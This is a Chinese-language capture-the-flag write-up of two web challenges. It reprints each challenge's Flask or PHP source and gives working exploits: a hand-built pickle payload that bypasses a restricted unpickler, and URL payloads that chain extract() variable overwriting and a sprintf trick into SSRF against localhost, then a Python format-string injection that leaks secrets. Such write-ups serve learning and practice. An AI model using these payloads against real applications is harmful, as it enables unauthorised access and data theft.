很长一段时间没有接触了,都沉迷于课程学习不能自拔(被迫的),果然2020年对题目都失去了感觉,不仅如此,刚打开就想x了......,简单先整理一下做出来的题。之后文章主要发在个人博客:Cyc1e's Blog
0x00 Webtmp
题目源码
import base64
import io
import sys
import pickle
from flask import Flask, Response, render_template, request
import secret
app = Flask(__name__)
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
很明显一道python反序列化的题,不过if b'R' in base64.b64decode(pickle_data)断了直接反弹shell和调用render_template函数的操作,所以说就是只能给secret.name、secret.category变量赋值,要求type为Animal,同时secret又要重main启动,所以需要重写一下secret类。参考https://blog.init-new-world.com/post/hitctf-train.html(也就是原题)
# -*- coding: utf-8 -*-
# @Author: Cyc1e
# @Date: 2020-03-07 14:51:06
# @Last Modified by: Cyc1e
import pickle
import base64
payload = b"\x80\x03c__main__\nsecret\n}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub0c__main__\nAnimal\n)\x81}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00catq\x06ub."
print(base64.b64encode(payload).decode())
0x01 fmkq
访问直接给了题目源码
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';
$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}
关键就是触发curl了,参考https://www.php.net/manual/zh/function.sprintf 通过extract进行变量覆盖,覆盖begin为begin=%1$s,则sprintf($begin.'%d',$output);处就可以输出,例如构造
?head=\&begin=%1$s&url=www.baidu.com
则可以返回baidu的内容,所以显然用来SSRF最合适不过,发现127.0.0.1还开了8080端口,所以构造
?head=\&begin=%1$s&url=http://127.0.0.1:8080
也就是需要我们拿到vipcode,一通测试,python的格式化字符串问题,构造
?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={file.__init__.__globals__[vip].__init__.__globals__}%26vipcode=xxx
可以读取到vipcode
带上vipcode就可以为所欲为了